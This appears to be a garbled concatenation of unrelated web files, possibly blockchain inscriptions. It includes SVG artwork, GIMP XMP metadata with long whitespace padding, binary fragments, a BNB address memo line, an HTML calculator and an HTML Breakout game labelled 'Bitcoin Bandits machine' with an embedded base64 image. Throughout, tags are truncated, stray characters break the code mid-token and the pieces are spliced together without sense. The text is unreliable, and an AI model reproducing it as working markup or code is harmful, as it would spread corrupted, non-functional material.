 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.454" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.M
35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333M
 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 M
0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 M
1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20M
.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="#EE836C" fill-rule="evenodd" d="M192.995 393.199v-23.646h6.541v-12.511c11.1-4.17 35.441-10.008 44.003 0v8.341h13.082v-35.149h20.813l16.65 8.34v26.256h8.325v45.872h8.325v23.234h13.082v-63.149h4.757v-22.638h4.162v-46.511h8.325l38.057 36.936v41.703h7.731v40.51h10.108v-40.51h7.731v-63.149l8.919-M
8.937h9.515l8.919 8.937v72.085h7.136v-81.022h10.703V279h17.84v29.191h11.892v30.383h12.488v111.405h11.298v-42.894h52.328v53.617h21.407v6.553H614V543H-96v-68.52h29.37v-5.228h17.052v-42.78h41.685v34.224h9v-88.887h9.948v-24.241h9.474v-23.291H34.74v23.291h8.527v64.644h5.684v-57.514l7.105-7.13h7.58l7.105 7.13v50.384H76.9v32.323h8.053v-32.323h6.158v-33.273l30.317-29.47h6.631v29.344h3.316v18.062h3.79V416.3h10.421v-18.538h6.632v-12.77h6.632v-13.183l13.263-6.654h16.579v28.044h4.304Z" class="m4" clip-rule="evenodd"/>
<path fill="#B86251" d="M223.226 287c-22.8 10.4-13.166 180.667-5.5 264.5h39.001v-217L223.226 287Z" class="m3"/>
        <path fill="#B86251" d="M132 538v14.5h56c10.5-159-4.5-198-7-214-2-12.8-8.833-10-12-7L140 358v174l-8 6Z" class="m2"/>
        <path fill="#A2685C" d="M120 530c0-28.167 22.833-51 51-51h5.932c28.166 0 51 22.833 51 51v4H120v-4Zm115.068 0c0-28.167 22.833-51 51-51H292c28.166 0 51 22.833 51 51v4H235.068v-4Z" class="m1"/>
        <path fill="url(#f)" d="M260.682 379.969H233c4.596 17.484 34.645 18.386 49.0M
96 16.652l-5.223 7.285 5.223 34.865L273.217 534h57.974V403.906l-4.178-7.285h29.248l-7.312 2.602 7.312 58.282L348.949 534h52.752V392.978h28.203l-7.312 6.245 7.312 71.811L419.981 534H479V403.906l-5.223-7.285 5.223-7.806v-8.846l-12.013-5.204h-32.904l-4.179 5.204h-111.77v-5.204h-15.669V368h-15.669v6.765h-22.458l-3.656 5.204Z" class="m0"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
top offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="356" x2="356" y1="368" y2="534" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#59250F"/>
      <stop offset="1" stop-color="#8B3C31"/>
    </linearGradient>
    <radialGradient id="c" cx="M
0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmM
ptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:151368eb-e2aa-4774-957a-c1ac3460dd5f" xmpMM:InstanceID="xmp.iid:bfaed6f8-2fe8-4a05-b7f1M
-f0930ded1718" xmpMM:OriginalDocumentID="xmp.did:ff2c3280-6891-45fd-9a9c-6ae58670e670" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438183434331" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:16:22+11:00" xmp:ModifyDate="2023:02:15T16:16:22+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:168191ca-5bd3-48ee-bb30-225c388ff883" stEvt:softwareAgent="Gimp 2.10 (WindowsM
)" stEvt:when="2023-02-15T16:16:23"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L`                                                                             <?xpacket end="w"?>h!
DjB=:BNB.BNB:bnb1745grvdfruk5495aav32mvnnjq3evamczp46wr:26497708:te:0
EJ{3_"a(9mK7*J5f/Ew"&5<$K7
8"""""""""""""""""""""""
text/html;charset=utf-8
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Calculator Made By @Abhay557</title>
    font-family: 'Poppins', sans-serif;
    box-sizing: border-box;
    justify-content:center;
    align-items:center;
    min-height: 100vh;
    background-color: #233342;
    border-radius: 35px;
    background: #233342;
    box-shadow:  26px 26px 35px #1c2834,
             -26px -26px 35px #2a3e50;
    position: relative;
    grid-column: span 4;
    text-align: right;
    font-size: 18px;
    border-radius:30px;
    border-radius:50px;
    background-color: #0c2835;
    place-items: center;
    border: 1px solid rgba(0,0,0,.1);
    cursor: pointer;
.calculator span:active{
    background: #74ff3b;
.calculator span.clear{
    grid-column: span 2;
    background: #e25057;
.calculator span.plus{
    grid-row: span 2;
.calculator span.equal{
    background: #7c4dbe;
    <form class="calculator" name="cal">
        <input class="value" type="text" name="txt" readonly="">
        <span class="num clear" onclick="document.cal.txt.value = ''">C</span>
        <span class="num" onclick="document.cal.txt.value += '/'">/</span>
        <span class="num" onclick="document.cal.txt.value += '*'">*</span>
        <span class="num" onclick="document.cal.txt.value += '7'">7</span>
        <span class="num" onclick="document.cal.txt.value += '8'">8</span>
        <span class="num" onclick="document.cal.txt.value += '9'">9</M
        <span class="num" onclick="document.cal.txt.value += '-'">-</span>
        <span class="num" onclick="document.cal.txt.value += '4'">4</span>
        <span class="num" onclick="document.cal.txt.value += '5'">5</span>
        <span class="num" onclick="document.cal.txt.value += '6'">6</span>
        <span class="num plus" onclick="document.cal.txt.value += '+'">+</span>
        <span class="num" onclick="document.cal.txt.value += '1'">1</span>
        <span class="num" onclick="document.cal.txt.M
value += '2'">2</span>
        <span class="num" onclick="document.cal.txt.value += '3'">3</span>
        <span class="num" onclick="document.cal.txt.value += '0'">0</span>
        <span class="num" onclick="document.cal.txt.value += '00'">00</span>
        <span class="num" onclick="document.cal.txt.value += '.'">.</span>
        <span class="num equal" onclick="document.cal.txt.value = eval(document.cal.txt.value)">=</span>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div><M
/div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","YM
","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWiM
dth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wM
allSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="M
lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.whichL
===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0112/4096 1,1,1,2,0 ~0.9070748633239418-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#36EEE0" points="0,8 1,5 4,5 0,0 "/>
<polyline fill="#36EEE0" points="8,0 6,7 6,6 8,8 "/>
<polyline fill="#36EEE0" points="8,8 7,5 7,5 0,8 "/>
<polyline fill="#F652A0" points="0,0 2,1 4,2 8,0 "/>
text/html;charset=utf-8
